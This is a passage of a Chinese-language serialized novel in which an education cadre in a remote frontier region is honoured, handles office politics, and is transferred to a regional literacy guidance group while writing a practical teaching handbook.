恭喜啊!”教育科的干事小张迎面走来,脸上堆着笑,“全疆先进个人, 咱们师部都好些年没出过了。” 舒染笑笑:“都是组织培养,大家共同努力的结果。”这话说得滴水不漏,是她近来愈发熟练的腔调。 “哎呀,你就别谦虚了。”小张压低了些声音, “听说兵团那边都挂了号, 这回可是露了大脸了。”他目光在舒染手上那个红纸包上扫过, 带着羡慕的神情。这钱, 顶得上好些人半个月工资了。 舒染不动声色地将拿着红纸包的手往身后收了收, 另一只手举了举奖状:“孙处长还等着我汇报工作, 先过去了。” “哎,好, 好,你忙。”小张赶紧让开道。 舒染心下明白, 暗地里不知道多少双眼睛在盯着,羡慕有之, 嫉妒恐怕更多。 回到教育科那间办公室, 气氛倒是热络了些。 “咱们教育科的大功臣回来了!”几个同事也纷纷围过来道贺。 “舒染同志,了不起啊!” “这下咱们科在全疆都出名了!” “晚上可得请客啊,舒染!” 舒染脸上挂着笑, 一一应酬着,把奖状和奖金放在自己那张办公桌上:“请大家吃糖,吃糖。”她说着,从抽屉里拿出一包早就准备好的奶糖,拆开了分给大家。 糖分到吴建国面前时,他正埋头看文件,没接。 舒染伸出去的手顿在半空,脸上的笑容淡了些,却没收回,只把糖轻轻放在吴建国摊开的文件边上,声音平和:“吴干事工作忙,糖给您放这儿了哦。” 她没看吴建国变幻的脸色,转身把剩下的糖分完。 孙处长这时走了进来,打圆场道:“好了好了,都干活去。舒染啊,你来一下。” 舒染跟着孙处长进了办公室。 “坐。”孙处长指了指对面的椅子,自己先点了支烟,“这次你给咱们师争了光,很好。” “处长,这是我应该做的。”舒染坐下,双手放在膝盖上,姿态恭敬。 “嗯,”孙处长吐出一口烟圈,“荣誉是肯定了过去的成绩,但眼光要往前看。上面对咱们的教学点经验很感兴趣,跨地区指导小组的筹备文件已经下来了,”他拉开抽屉,取出一份盖着红头印章的文件,推到舒染面前,“你是首批拟定的成员之一。” 舒染伸手拿起文件。白纸黑字,上面清晰地印着“关于成立全兵团扫盲及基层教育巡回指导小组的通知”,后面附着的拟定名单里,“舒染”两个字果然在列。 这意味着,她的机会更大,风险恐怕也更大。 “这是个很好的机会,”孙处长看着她,语气带着期许,“也是更大的责任。你要做好准备,可能近期就会有任务下来。” “我明白,处长。”舒染郑重地点头,“我会尽快把手头的工作梳理好,做好交接准备。” “嗯,具体出发时间等通知。另外,”孙处长顿了顿,弹了弹烟灰,“统计组这次回去,反映了一些问题,比如红星岩那边……当然,总体是肯定的。你最近低调点,把后续的汇报材料做得再扎实些,特别是原始数据的整理,不要留任何给人说道的把柄。” 舒染心里一凛,知道红星岩那个教学点还是留下了隐患。“是,我回去就整理,保证每一笔数据都有据可查。” 从孙处长办公室出来,舒染捏着那份通知,感觉手心有些汗湿。高升的机会近在眼前,可她却想起了陈远疆离开前说的话,以及红星岩教学点那个被带走的刘老师。 “舒染,电话!”门口有人喊了一声。 舒染回过神,走到办公室的电话旁,拿起听筒:“喂,哪位?” “是我。”电话那头传来杨振华的声音,带着笑意,“听说我们的先进个人回来了?晚上有空吗?食堂小灶今天有红烧肉,我请客,算是给你庆功。” 舒染下意识想拒绝。陈远疆不在,她不想和杨振华走得太近,免得落人口实。但话到嘴边,又咽了回去。她想起杨振华上次送来的那个罐头,以及他透露的消息。人情债,最难还。 “杨干事太客气了。”舒染语气轻松,“不过庆功可不敢当,正好我也有点事想请教你,那就食堂见?” “好,六点,食堂门口等你。” 挂了电话,舒染靠在墙上,轻轻吁了口气。利用?或许有点。但在这个地方,纯粹的好意太奢侈,更多的是这种带着目的的交换。她得学着应付。 傍晚,舒染准时到了食堂。杨振华已经等在门口。 “等久了?”舒染走过去。 “没有,刚到。”杨振华笑了笑,打量她一下,“气色不错,看来这荣誉养人。” 舒染没接这话茬,跟着他走进食堂。小灶窗口果然有红烧肉,油光锃亮,香气扑鼻。杨振华要了两份红烧肉,又打了两个素菜,找了个靠角落的安静位置。 “来,祝贺你。”杨振华把一份红烧肉推到舒染面前,“这次可是扬眉吐气了。” “谢谢。”舒染拿起筷子,夹了块肉,慢慢吃着。肉质酥烂,咸香适口,确实是难得的美味。但她心里有事,吃得并不畅快。 “听说,跨地区指导小组的名单定了?”杨振华状似无意地问起。 舒染动作一顿,抬眼看他:“你消息真灵通。” “宣传科嘛,总得知道风向。”杨振华笑了笑,“这是大好事,以后你的天地就更广阔了。说不定下次见你,我就得叫你舒领导了。” “杨干事说笑了,”舒染垂下眼,“都是为组织工作,在哪里都一样。”她顿了顿,放下筷子,“说起来,有件事还想请你帮忙。” “哦?什么事,你说。”杨振华来了兴致。 “上次统计组来,虽然肯定了成绩,但也指出我们基层的宣传总结工作不够到位。我想着,能不能请你这位大笔杆子,帮我们教育科梳理一下宣传口径?特别是流动教学点这块,怎么把它的意义,说得更透彻,更……符合当前的精神?” 舒染看着他,眼神诚恳,“你也知道,我搞具体工作还行,舞文弄墨实在不是强项。”这话半真半假。说是请杨振华帮忙,其实是把发稿的素材递给他。一是还他之前透露消息和罐头的人情,二是借他的笔和宣传科的渠道,为自己这套工作方法提前造势,堵住那些有可能会说她理论性不强、思想高度不够的人的嘴。她也知道杨振华好面子,喜欢被捧着的感受。 果然,杨振华脸上露出受用的表情,嘴上却谦虚:“你这是找对人了还是找错人了?我这点水平,可别耽误了你的大事。” “杨干事要是水平不够,咱们师部就没人敢动笔了。”舒染奉承了一句,“就当帮我们科个忙,也是帮基层的同志们发声。” 杨振华沉吟了一下,点点头:“成,既然你开口了。回头你把相关的材料,尤其是那些原始记录,拿给我看看,我琢磨琢磨,写个东西。” “那太感谢了!”舒染举起桌上的水杯,“以水代酒,敬你。” “客气什么。”杨振华也举起杯子,和她碰了一下。 两人心照不宣地笑了笑。 吃完饭,天色已经暗下来。杨振华想送舒染回宿舍,被她婉拒了。 “不了,我还得去办公室加个班,把孙处长要的材料赶出来。”舒染站在食堂门口,晚风吹起她额前的碎发。 杨振华也没坚持:“那行,你注意休息,别太累着。” 看着杨振华走远,舒染没有走向办公室,而是沿着师部大院那条主干道慢慢往回走。 她走到那排宿舍尽头,脚步不由自主地顿住了。前面就是保卫处的那排办公室,最边上那间,窗户漆黑。 陈远疆去首都已经快半个月了,音讯全无。舒染猜他应该是去见那位收养他的老首长了,具体为了什么,他只字未提,她也不该问。 舒染看着那扇黑黢黢的窗户,深吸了一口带着凉意的空气,转身走向自己的宿舍。不能停,也没时间伤春悲秋。孙处长要的汇报材料,杨振华那边等着要的基础资料,还有即将到来的指导小组任务,都需要她投入十二分的精力。 推开宿舍门,一股冷清的气息扑面而来。她拉亮电灯,昏黄的光线照亮了这间屋子。桌子上还放着陈远疆给她的军用水壶。 她走过去拿起水壶,拧开后发现里面是空的。她笑了笑,放下水壶,坐到桌前,摊开了稿纸。 笔尖落在纸上。每一个字,她都写得很认真,力求逻辑严密,数据准确,不给任何人留下攻击的缝隙。 写到关于红星岩教学点的情况说明时,她的笔停顿了很久。最终,她客观陈述了该教学点因地处偏远、牧民转场频繁导致的巩固率偏低问题,并附上了后续改进措施,对一些事只字未提,有些雷不能轻易去踩。 写完报告,已是深夜。她揉了揉发胀的太阳穴,又拿出了另一沓稿纸。这是她酝酿了很久的东西——《边疆基层教育标准化工作手册》的初步框架。她把这段时间在师资培训、教材编写、流动教学点管理、生产学习一体化方面的所有经验和教训,都一点点梳理出来,试图形成一套可复制可推广的务实体系。 她知道,这东西一旦拿出来,必然会触动到某些人,尤其是那些强调思想革新的派别。 但她也清楚,要想走得更远,光靠零敲碎打的土办法是不够的,必须有自己的理论支撑和体系化的东西。 窗外,万籁俱寂。 舒染放下笔,活动了一下僵硬的脖颈。然后站起身走到窗边,望着远处沉在黑暗里的戈壁轮廓。 陈远疆现在在做什么?那位老首长会让他留下吗?首都,那是一个离她无比遥远的世界。 还有那份跨地区指导小组的调令,是坦途,还是新的风暴? 她不知道。 她只知道,无论前面是什么,她都得继续往前走。 第140章 接下来几天, 舒染白天处理教育科的日常事务,应对各方的祝贺,晚上就在宿舍里整理撰写她的《边疆基层教育标准化工作手册》。 这手册是她心血, 也是她的野心。她要把在畜牧连、在流动教学点、在扫盲班摸爬滚打出的那些办法,系统化、条理化, 变成一套任何人拿到手里,都能大致知道该怎么在边疆这种特殊环境里开展基础教育的指南。 这里面没有高深的理论,全是干货:怎么利用废弃工具棚和牧民毡房当教室, 怎么捡石灰岩、烧制骨笔代替紧缺的粉笔,如何快速培训稍有文化的知青成为能稳住课堂的教师,又如何将识字算数无缝嵌入日常生产环节,让学习立刻能看到效益…… 她知道, 这东西在他人眼里可能难登大雅之堂, 但它管用。在生存都艰难的边疆, 能让人看到实实在在好处的教育, 才是能活下去的教育。 她写得投入, 几乎忘了外界。直到这天下午, 孙处长把她叫到办公室,脸色有些凝重。 “舒染, 你先看看这个。”孙处长递过来一份文件,是上级下发的一份内部通讯, 上面加印着“学习参考”的字样。 舒染接过来,迅速浏览。这是一篇署名“郑涛”的文章。文章措辞激烈, 大量引用最新指示和精神, 核心观点是必须坚决打破因循守旧的教育模式,批判某些地区片面强调实用基础、文化扫盲,是忽视了思想引领, 是以方法上的勤奋掩盖懒惰,甚至是隐晦的批评论调,认为这降低了教育的格调和政治高度,未能充分发挥教育的积极作用。 通篇看下来,舒染的心一点点沉下去。这文章,几乎是为她量身定做的。里面抨击的每一点,都能在她那本尚未完成的手册里找到对应。 “处长,这篇文章……”舒染抬起头看着孙处长。 “你看看就行,别太往心里去。”孙处长摆摆手,但眉头并未舒展,“风向嘛,总是一阵一阵的。不过,你正在搞的那个什么……手册?” “《边疆基层教育标准化工作手册》。”舒染补充道。 “对,手册。”孙处长点点头,“思路是好的,也确实解决了我们这边的实际问题。但是,在表述上,可能要更注意一些。比如,多强调一下学习文化知识是为了更好地理解政策、提高思想觉悟,别光盯着些具体事。” 舒染沉默了一下。她知道孙处长这是保护她,在提醒她规避风险。但她心里憋着一股气。如果连解决群众最迫切需求都成了错误,那教育为了什么? “处长,我明白您的意思。”舒染斟酌着词句,“我会注意在手册里加强思想引领方面的论述。但我认为,在边疆,让群众首先体会到学习文化能给他们的生产生活带来的便利和改善,本身就是最有力、最直观的思政工作。他们懂了道理,才能更真心实意地拥护政策,建设边疆。” 孙处长看了她一会儿,叹了口气:“你这个道理我懂,基层的人都懂。总之,你把握好分寸。手册可以继续弄,但先别急着往外拿,尤其不要送到那边去。” “是,我明白了。”舒染点头应下。她知道,孙处长能说到这个份上,已经是极大的回护。 从孙处长办公室出来,舒染心情有些沉闷。她走到宣传科办公室附近,犹豫了一下,还是走了进去。 杨振华正伏案写东西,见她进来,有些意外,随即露出笑容:“舒染?稀客啊,快请坐。” “没打扰你吧?”舒染在他对面的空椅子坐下。 “没有没有。”杨振华放下笔,热情地给她倒了杯水,“正想找你呢。你上次说的那些材料,我看了,很受启发啊!特别是结合生产实际那部分,我觉得完全可以提炼一下,写一篇有分量的报道,就讲咱们师如何通过务实教育,促进生产发展,巩固边疆建设。” 舒染心中一动。这倒是个机会,用宣传科的渠道,先把她这套理念的核心价值传播出去,抢占舆论阵地。 “杨干事觉得可行?”她露出恰到好处的欣喜,“这方面你是专家,你觉得怎么写好,就怎么写。需要补充什么材料,我随时提供。” 杨振华见她如此支持,更加高兴:“有你这句话就行!你放心,我一定把这篇文章写好,争取在《边疆日报》上发出来,让大家都看看咱们X师教育工作的创新和实效!” 又闲聊了几句,舒染状似无意地提了一句:“对了,杨干事,最近看到一篇关于教育革命‘破与立’的文章,,你看过了吗?感觉观点很新颖。” 杨振华脸上的笑容淡了些,撇撇嘴:“看了。笔头子是厉害,道理一套一套的。不过真让他来基层待两年,就知道了。” 他压低声音,“这人,背景硬,路子野,听说有些关系,说话冲得很。你……尽量别跟他有什么正面冲突。” 舒染得到了想要的信息,点点头:“谢谢杨干事提醒,我就是随便看看,学习一下。” 离开宣传科,舒染心里的那点沉闷被警惕取代 她回到宿舍,继续修改她的手册。只是在绪论和每一章的结尾,她都刻意加入了一些符合当前精神的论述。她写得别扭,但不得不写。 写完最后一笔,已是凌晨。她看着厚厚一摞手稿,长长舒了口气。这东西就像她的孩子。现在,它需要等待一个合适的时机出世。 她走到窗边,活动僵硬的筋骨。夜色深沉,看不到什么星光。陈远疆依然没有消息。 她摩挲着桌上那个空水壶。不能等,也不能全靠别人。 第二天,她去找了孙处长。 “处长,关于巡回指导小组的工作,我想提前做些准备。”舒染开门见山,“我建议,是否可以以我们师的名义,先整理一份关于流动教学点和生产学习一体化模式的简要报告,附上一些典型案例和数据,提前寄送给小组的其他成员单位,也算是一种交流和学习?” 孙处长想了想,觉得这主意不错,既能展示X师的工作成绩,又能体现积极主动的态度,便同意了:“可以,你来负责整理,弄好了给我看看。” 舒染要的就是这个。她不能直接把手册抛出去,但可以通过这种相对温和的方式,先把她这套理念的核心内容扩散出去,投石问路,看看反应。 她精心挑选了畜牧连启明小学以及另外两个成效显著的流动教学点作为案例,重点突出了生产学习一体化带来的实际效益,数据翔实。 报告写完,她特意请杨振华帮忙润色了一下文字,使其更符合公文规范,同时也更富有感染力。 “舒染,你这报告写得好啊!”杨振华看完,由衷赞叹,“有理有据,比那些空谈强多了!” “都是实际情况。”舒染谦虚道,心里却安定了几分。 报告以师部教育科的名义寄了出去,舒染等待着不知会从何方荡开的涟漪。 几天后的一个下午,她正在办公室核对各连队扫盲巩固率的报表,通讯员小赵在门口喊:“舒染干事,电话!长途!” 办公室里瞬间安静下来,所有人都抬起头看向她。 舒染一惊,很快恢复好神色,放下笔,快步走了出去。 拿起听筒,那边传来一个略显陌生的中年男声:“是X师教育科的舒染同志吗?” “我是,您哪位?” “我是巡回指导小组筹备办公室的王干事。”对方语气还算客气,“你们师寄来的那份关于流动教学点的报告,我们收到了。领导看了,很感兴趣,认为其中提到的思路很有启发性,符合我们屯垦戍边的实际需求。” 舒染尽量让自己的声音听起来平静:“谢谢领导肯定,我们还在摸索阶段。” “是这样的,”王干事继续说,“领导特意指示,经过研究决定,正式抽调你进入我单位扫盲及基层教育巡回指导小组,担任组员。你看,有问题吗?” 舒染的心猛地一跳,难道不是会议邀请,是直接调动? 王干事继续道:“调令随后会正式下发到你们师部。考虑到小组工作即将全面展开,时间紧迫,请你尽快办理工作交接,于五日内报到。有没有问题?” 五日?这么快!舒染脑子里瞬间闪过许多念头,陈远疆还没回来,她连个通信地址都没有…… “舒染同志?”王干事在那头催促。 舒染压下翻腾的思绪,声音沉稳地回答:“没有问题。感谢组织信任,我服从安排,会尽快办理手续前往报到。” “好,那就这样。具体报到事宜,调令上会写明。再见。” “再见。” 放下电话,舒染站在原地,走廊穿堂风吹过,她感到一阵凉意,才发现自己后背竟出了一层薄汗。 不是预想中的会议发言,而是直接上调。机遇来得又快又猛,不由分说地要把她卷向一个更高的地方。 “舒染,上面来的电话?什么事?”孙处长不知何时站在了他办公室门口,显然听到了动静。 舒染转过身,尽量让自己的表情看起来平静:“处长,上面直接下调令,抽调我进入巡回指导小组,要求五日内报到。” 孙处长愣了一下,随即脸上露出复杂的神色,有欣慰,也有一丝失落。 他走过来,拍了拍舒染的肩膀:“好事!天大的好事!这说明你的工作得到了上面的认可!这是咱们整个X师的荣誉!” 他声音不小,办公室里的其他同事也都听到了,纷纷围过来,七嘴八舌地道贺。 “舒染,你这升得也太快了!” “以后就是领导了,可别忘了咱们啊!” “恭喜恭喜!” 舒染脸上挂着得体的笑,应付着众人的祝贺,心里却安定不下来。她看向孙处长:“处长,那我手上的工作……” “交接!马上交接!”孙处长大手一挥,“小张,你协助舒染,把她负责的流动教学点、师资培训、还有那个手册的初稿,都梳理清楚。舒染啊,到了那边,好好干,给咱们师长脸!” “我会的,处长。”舒染点头。 整个下午,舒染都在忙碌的交接中度过。整理文件,交代各项工作的进展和注意事项,把她那本尚未完全定稿的《边疆基层教育标准化工作手册》初稿也复制了一份,留给科里参考。 过程中,她几次走神。 陈远疆。 他去了首都,有没有去见那位老首长?他现在怎么样了?老首长会让他留下吗?他知不知道她这边的情况?她这一走,两人再见恐怕更难。她答应过等他回来,可现在…… 她甚至不知道他的在那的地址,电话、电报更是无从谈起。这个年代,一个人若刻意隐匿行踪,或者处于某种特殊任务或保护中,想要联系上,难如登天。 一种焦躁啃噬着她的心。她不是优柔寡断的人,更不是离了男人就活不了的藤蔓。但…… “舒染,这份报表的数据对吗?”小张的声音把她从思绪中拉回。 舒染定了定神,接过报表仔细核对:“这里,红星岩三月份的巩固率,应该以重新摸排后的数据为准……” 她强迫自己专注于眼前的工作。感情是感情,事业是事业。她不能,也不会因为一个男人的去向就放弃这来之不易才争取到的上升通道。 下班回到宿舍,看着这间住了不算太久的小屋,舒染心里空落落的。她开始收拾行李。东西不多,一个樟木箱子就能装下。 她铺开信纸,想给他留封信。可笔尖悬在纸上,半天落不下去。写什么?告诉他她高升了,走了,让他别担心?还是诉说她此刻的彷徨与不舍?都不合适。前者显得炫耀,后者显得软弱。而且,信往哪里寄? 最终,她收起了笔和纸。 第二天,调令正式下达。舒染跑完了所有手续,领了新的介绍信和粮票关系。杨振华来找她,脸上带着惋惜和祝福交织的神情。 “走得这么急……本来还想等你回来,看看我那篇报道的校样。”他递过来一个笔记本,“这个送你。” 舒染接过,是那种硬壳的采访本,很实用。“谢谢杨干事。” “客气什么。”杨振华看着她,欲言又止,最后只说了句,“保重。有什么需要帮忙的,写信回来。” “好。” 出发的前一晚,舒染几乎一夜未眠。她最后一次检查了行李,把那本《边疆基层教育标准化工作手册》的最终定稿小心地放在随身背包的最里层。这是她的投名状。 天蒙蒙亮时,来接她去兵团的吉普车到了楼下。 舒染拎着简单的行李下楼。孙处长和几个同事都来送行。 孙处长不住地叮嘱:“到了那边,凡事多留个心眼。” “我明白,处长。谢谢您一直以来的照顾。”舒染真诚地说。 她最后看了一眼那排小楼,陈远疆办公室的窗户依旧紧闭着。 她最后挥手告别,拉开车门,坐进了副驾驶。 “走吧,同志。” 吉普车发动,驶出师部大院。舒染没有回头。 她看着前方,通往兵团司令部的路,眼神中是一种破釜沉舟的决绝。《 》 140-150 第141章 吉普车在颠簸的公路上行驶, 窗外的景色从师部周边的垦区农田,逐渐变为更加荒凉广袤的戈壁滩,天地间仿佛只剩下这一辆车在前行。 舒染靠在椅背上, 看着窗外飞速掠去的风景,心情复杂。离X师越远, 心里那份空落感就越发清晰。 她不是后悔自己的选择,只是有些意难平。 司机还是那个闷葫芦老张,除了必要的交流, 基本不说话。漫长的旅途只剩下引擎的轰鸣和风声。 中午时分,车子在一个路边简陋的兵站停下加油、打水,顺便让人都歇歇脚。兵站里人来人往,有同样赶路的干部, 也有执行任务的军人, 充斥着各种消息。 舒染下车活动了一下僵硬的腿脚, 走到兵站提供热水的大铁壶旁, 用陈远疆送她的军用水壶接水。旁边站着两个穿着四个口袋干部服的中年人, 正一边抽烟一边闲聊。 “听说了吗?这回京里来的那位老首长, 动静不小啊。”一个略微胖些的干部说道。 “能不知道吗?点名要调几个人回去,说是加强什么力量建设。”另一个瘦高个儿吐着烟圈, “特别是那个……姓陈的,以前在老首长身边待过, 后来非要留在咱们这儿保卫处那个,听说老首长发了话, 必须带他回京, 要重用。” 舒染接水的手猛地一顿,热水溅出来一些,烫得她吸了口凉气。 胖干部咂咂嘴:“啧, 那可是个好去处啊。回了京,又是老首长身边的红人,前途无量。比在咱们这苦哈哈的边疆强多了。” 瘦高个儿摇摇头:“那也不一定。我看那小陈性子拗得很,当初就是自己要求回来的。这回未必肯走。” “不肯?由得他吗?”胖干部不以为然,“老首长亲自开口,那是多大的面子?组织上的调动,个人还能拧得过?” 两人又聊起了别的话题。 舒染拿着那水壶站在原地,感觉手脚有些冰凉。虽然早有猜测,但亲耳听到证实,冲击力还是不一样。老首长催促他回首都,要重用,这意味着,陈远疆很可能不会再回X师,甚至不会再回西北边疆了。 “舒同志,水接好了吗?咱们得抓紧时间赶路了。”老张师傅在不远处喊道。 舒染猛地回神,压下心头的翻江倒海,应了一声:“好了,这就来。” 她端着水回到车上,吉普车再次发动,驶入无边的戈壁。 一路上,舒染沉默了许多。她看着窗外,脑海里反复回响着那两个人的对话。 漫长的旅途在颠簸和沉默中持续了两天。当吉普车终于驶入一座比师部所在地规模大上许多、带着明显城市气息的地方时,舒染知道,目的地到了。 这里就是西北边疆地区的最高领导机构所在地——V城。 车子在一排更具规模的苏式风格办公楼前停下。 老张帮她拎下行李:“舒同志,教育局就在这栋楼,你自己去报到吧,我的任务完成了。” “谢谢张师傅,一路辛苦了。”舒染道了谢,拎着自己简单的行李,仰头看了看这栋陌生的办公楼。它比师部的房子高,墙皮也更完整,透着一股权威感。 她整理了一下头发和衣领,深吸一口气,迈步走了进去。 经过门口工作人员的盘查和指引,她找到了教育局所在楼层和局长办公室。 敲门前,她再次深吸了一口气,将所有纷乱思绪压到心底最深处。 “请进。”里面传来一个沉稳的男声。 舒染推门进去。办公室比孙处长那间宽敞明亮许多,一张宽大的办公桌后,坐着一位约莫五十岁上下戴着眼镜的男人,他正在看文件,眉宇间带着一种威严。 “报告局长,我是原X师教育科的舒染,奉调令前来报到。”舒染站定说道。 局长抬起头,目光落在她身上。他放下文件,脸上露出一丝还算温和的笑容:“哦,舒染同志,到了?一路辛苦。坐。”他指了指办公桌对面的椅子。 “谢谢局长。”舒染依言坐下。 “你的情况,调令和之前的报告,我都看过了。”局长开门见山,“生产学习一体化,流动教学点,思路很新颖,也很结合实际。尤其是在X师那边搞的扫盲工作,成效显著。” “局长过奖了,我只是做了一些具体工作,主要依靠基层同志们的努力和组织上的支持。”舒染回答得不卑不亢。 局长点点头,对这份态度似乎还算满意:“嗯,不骄不躁,很好。调你过来,是希望你能把这些好的经验总结推广开来。巡回指导小组是局里今年的重点工作,担子不轻,你要有心理准备。” “我明白,局长。我一定努力学习,尽快适应新岗位,完成组织交给的任务。”舒染表态。 “好。”局长拿起一份文件递给她,“这是小组近期的初步工作安排和成员名单,你先熟悉一下。你的关系已经转到局里,宿舍安排在了后面的干部周转房,这是条子,去找行政科办理。明天上午,小组有个见面会,你准时参加。” “是,局长。”舒染接过文件,站起身。 “去吧,安顿下来,好好干。” “是!” 舒染走出局长办公室,轻轻带上了门。 站在走廊上,她收好手里那张分配宿舍的条子。一手抱着文件,一手拎起行李,朝着行政科的方向走去。 教育局的干部宿舍楼是一栋三层的筒子楼,外墙斑驳,带着岁月痕迹,但在这个年代的边疆,已算是相当不错的住宿条件。楼道里还算干净,空气中漂浮着淡淡的煤烟和饭菜混合的味道。 舒染按照条子上的房号,找到了分配给自己的房间——二楼尽头的一间。她用钥匙打开木门,一股淡淡的灰尘气息扑面而来。 房间不大,约莫十来个平方,地面是水泥地,墙壁下半截刷着淡绿色的墙围,上半截则是白色的石灰墙。靠窗一张木质单人床,一张漆皮剥落的书桌,一把椅子,一个带镜子的木质脸盆架,角落里还有个煤炉子和火墙。 窗户朝南,光线很好。 她放下行李,简单归置了一下。带来的东西不多,几件衣服挂在床边拉起的绳子上,书籍和那厚厚一叠手稿放在书桌一角,陈远疆送的望远镜和水壶也小心翼翼地摆在旁边。看着那水壶,她眼神黯了黯,随即甩甩头,开始打扫。 正擦拭着桌子,门外传来脚步声和轻轻的敲门声。 舒染直起身,说了声:“请进。” 门被推开,一位年纪约莫三十出头的女同志站在门口。她梳着齐耳的短发,戴着黑框眼镜,穿着列宁装,整个人透着一股书卷气和干练。她手里端着个搪瓷盘,上面放着两个还冒着热气的白面馒头。 “你好,是新来的舒染同志吧?”女同志笑容温和,“我住你对面,姓张,张雅琴,在局里资料室工作。听说今天有新同志过来,估摸着还没吃饭吧?食堂开饭点儿过了,这两个馒头你先垫垫。” 舒染连忙放下抹布,迎上前,“雅琴姐,太谢谢您了!我正发愁呢。快请进。”她侧身让开。 张雅琴走进来,将盘子放在桌上,目光快速扫过这间小屋,最后看向舒染:“别客气,以后就是邻居了。这楼里住的都是局里的同志,互相照应是应该的。” 她看到桌上那摞手稿,封面上《边疆基层教育标准化工作手册》几个字让她目光停留了一瞬,但很快便礼貌地移开,“你这是刚从下面师里调上来?” “是,从X师调来的。”舒染点头。 “X师?前段时间搞流动教学点和扫盲工作很有名的就是你们那里吧?”张雅琴语气里带着赞赏,“局里开会时还讨论过你们的材料。真是年轻有为。” “雅琴姐过奖了,都是摸索着干。”舒染谦逊道,心里却对这位资料室的张雅琴有了初步印象——消息灵通,态度友善。 “咚咚咚。”又一阵敲门声响起。 “门没关,请进。”舒染应道。 一个身材高挑,约莫三十五、六岁,眉宇间带着爽利的女同志大步走了进来。她穿着蓝色卡其布外套,袖子挽到小臂,看起来雷厉风行。 “雅琴也在啊。”她先跟张雅琴打了个招呼,然后看向舒染,伸出手,“你就是舒染?我是刘惠,住你隔壁,在局教研室工作。欢迎你啊!” 舒染赶紧跟她握手。刘惠的手很有力,握手的方式也干脆利落。“刘惠姐您好,我是舒染。初来乍到,以后请多指教。” “指教谈不上,互相学习。”刘惠笑笑,她也看到了桌上的手稿,直接问道,“这就是你搞的那个……工作手册?听说很务实,结合生产实际,我们教研室最近也在讨论这个方向。” 舒染心中微动,教研室,这可是业务指导部门。“还只是初稿,很不成熟,正想找机会请局里的前辈们指正。” 刘惠摆摆手:“什么前辈不前辈的,搞教育工作的,能解决问题就是好方法。你那个生产学习一体化的思路,我看就很好!比某些人天天坐在办公室里空谈革新强多了!” 张雅琴在一旁温和地笑了笑,没接话,只是对舒染说:“刘惠姐是教研室的骨干,理论水平和基层经验都很丰富,你们多交流肯定有收获。” 舒染立刻明白了,这位刘惠看来是务实倾向,而且对自己似乎抱有善意。而张雅琴,作为资料室的工作人员,显得更中立和温和,但显然也并非两耳不闻窗外事。 “我一定多向两位姐姐学习。”舒染态度诚恳。 刘惠很满意舒染的态度,又打量了一下房间:“缺什么少什么就说,这楼里谁家有点什么家伙什儿,互相借着用都方便。对了,明天小组见面会,你准备好了吗?我可是听说,有些人对你这个空降兵不太服气呢。”她心直口快,直接点了出来。 舒染神色不变,点了点头:“谢谢刘惠姐提醒。我会用工作说话。” 刘惠拍了拍舒染的肩膀,“那你先收拾,我们不打扰了。有事就敲门。” 张雅琴也微笑着点点头,和刘惠一起离开了。 送走两位新邻居,舒染关上门舒了口气。 新的环境,新的同事,新的挑战。张雅琴的温和周到,刘惠的爽快直接,都给她留下了深刻印象。她们显然都不是普通角色,而且看起来都对她的工作有所了解,并持支持态度。这是个好消息。 但刘惠提到的“不服气”和“空降兵”,也印证了孙处长和她的预感。在这更高一级的单位,人际关系和思想分歧只会更复杂。 她走到窗边,看着楼下院子里走动的人影。这里不再是她可以相对自由施展的X师,每一步都需要更加谨慎。 她回身,目光落在书桌那本手册上。 这里有欣赏她的人,也有等着看她笑话的人。而她从来都不是轻易认输的性子。 陈远疆的消息被她埋在了心底,不时带来隐痛。但此刻她必须将其暂时封存。 明天的见面会,将是她的第一场交锋。 她拿起那个已经凉了的馒头吃起来。 第142章 V城教育局的二层小楼里。 舒染被安排在二楼尽头的一间办公室, 与未来的两位组员共用。 “舒染同志,欢迎。”先伸出手的是李卫国,一个约莫四十岁的男人, 脸颊瘦削,鼻梁上架着厚厚的眼镜, 笑容标准却未及眼底,“早听说兵团来了位能人,没想到这么年轻。” “李组长客气了, 我是来学习,也是来工作的。”舒染与他轻轻一握,感觉到他指腹的硬茧,是常年握笔留下的。 “这位是王娟同志。”李卫国介绍旁边一位剪着齐耳短发的女同志。 王娟看起来更拘谨些, 双手在裤子上蹭了蹭才与舒染握手, 声音不大:“舒染同志, 你好。” “以后就是一个战壕的战友了, 还请多指教。”舒染语气平和, 目光扫过这间不大的办公室。两张旧桌子拼在一起, 上面堆满了文件和报表,墙角的文件柜漆皮剥落。窗户开着, 但室内的空气有些沉闷。 李卫国简单介绍了指导小组目前的状况:“我们主要负责汇总各地区的扫盲经验,发现问题, 提出指导性意见。目前主要工作是梳理上半年各地区的汇报材料。” 他指了指桌上半尺高的文件,“任务很重, 舒染同志要有心理准备。” “应该的。”舒染点头, 走到分配给自己的那张空桌子前,桌面有划痕,但擦得很干净。她帆布包, 里面装着那本《边疆基层教育标准化工作手册》草稿。 “舒染同志是从兵团基层上来的,实践经验丰富,”李卫国扶了扶眼镜,“我们这里呢,更侧重理论和政策把握。有时候,基层那套土办法不一定适合全局性的指导工作。” 舒染正从包里拿出笔记本的手微微一顿,抬头看他,“李组长的意思是,基层经验上不了台面?” “哎,不是这个意思。”李卫国连忙摆手,笑容加深,“我是担心舒染同志不适应。上面要求高,眼光要放远,不能只盯着一个连队、一个牧区。就像你之前在红星岩那个教学点,出发点是好的,但最后……唉,也是教训。” 他果然知道,而且一上来就点了出来。舒染心下了然,这是下马威,也是试探。 她不动声色,一边整理桌面,一边淡淡回应:“红星岩的问题,组织上已有结论。经验和教训,都是宝贵的财富。我相信,真正的经验,无论是来自基层还是机关,只要能解决实际问题,就值得总结推广。” 王娟在一旁低着头,假装整理文件,耳朵却竖着。 李卫国呵呵笑了两声:“舒染同志觉悟高。那这样,你先熟悉一下这些材料。”他指着那堆文件,“主要是北边几个地区的,看看他们的扫盲模式和我们之前推广的流动教学点有什么异同,写个初步分析。王娟,你把分类标准跟舒染同志说一下。” 交代完,李卫国便拿着自己的茶缸出去了。 王娟这才凑过来,声音压低了些:“舒染同志,你别介意,李组长他说话就那样。”她手脚麻利地帮舒染分了一部分文件,“材料是按地区和时间分的,这边是总结报告,那边是数据报表。有些地区的报告写得很笼统,数据对不上是常事。” “谢谢。”舒染对她笑了笑,“我刚来,很多规矩不懂,还要麻烦您多提醒。” 王娟脸一红,摆摆手:“没啥没啥。你……你真是从那个什么连的那个启明小学上来的?” “是啊。” “真厉害。”王娟流露出钦佩的神情,“我们整天跟纸片子打交道,都快忘了那个学校实际是啥样了。” 